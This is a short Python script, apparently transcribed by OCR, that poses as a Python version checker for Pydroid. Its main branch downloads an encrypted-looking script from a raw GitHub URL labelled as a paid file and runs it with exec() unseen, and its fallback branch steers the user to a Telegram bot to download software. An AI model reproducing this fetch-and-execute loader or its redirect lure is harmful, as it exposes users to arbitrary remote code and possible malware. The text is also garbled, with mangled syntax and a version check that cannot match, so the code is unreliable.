import sys

import time

import requests

import webbrowser

import pyfiglet

from rich.console import Console

console = Console()

# --- Python Version Check ---
version = f"{sys.version_info.major}.{sys.version_info.minor}"

# --- Telegram Redirect Link ---
telegram_link = "https://t me/Sf_equipment_bot"

# --- Remote GitHub Script URL ---
github_code_url = "https://raw.githubusercontent.com/sfarmy/PAID-FILE-HERE
/refs/heads/main/new%20Diwali%200opensource_enc.py"”

if version == "311":
console.print(f" « Your Python version: [bold green]{version}[/bold green]")
console.print("[bold green]{’4 Compatible version! Loading script..[/bold gre
en]")
time.sleep(2)

# --- Execute Remote Python Code from GitHub ---
try:
code = requests.get(github_code_url) text
exec(code) # RUNS THE CODE LOCALLY
except Exception as e:
console.print(f"[bold red]Failed to fetch or execute GitHub code: {e}[/bold
red]")



else:
# --- Custom ASCII Art using pyfiglet -—-
ascii_art = pyfigletfiglet_format(" ERROR \n USE V.3.11.4")
console.print(f"[bold red]{ascii_art}[/bold red]") # Bold red for ERROR

# --- Warning Message ---
warning = """

I YOU ARE NOT USING PYDROID 3 VERSION 311.4
YOU WILL BE REDIRECTED TO SF EQUIPMENT BOT TO DOWNLOAD
PYDROID VERSION 3114

console.print(f"[bold yellow]{warning}[/bold yellow]")

# --- b5-second Countdown ---
foriinrange(b, O, -1):
console.print(f"[bold cyan]Redirecting in {i} seconds...[/bold cyan]", end="\
r)

time.sleep(1)

# --- Telegram Bot Redirect ---
console.print("\n[bold green]Redirecting to Telegram bot now![/bold green]")
try:
webbrowser.open(telegram_link)
except Exception:
console.print(f"[bold red]Please open this link manually: {telegram_link}[/b
old red]")



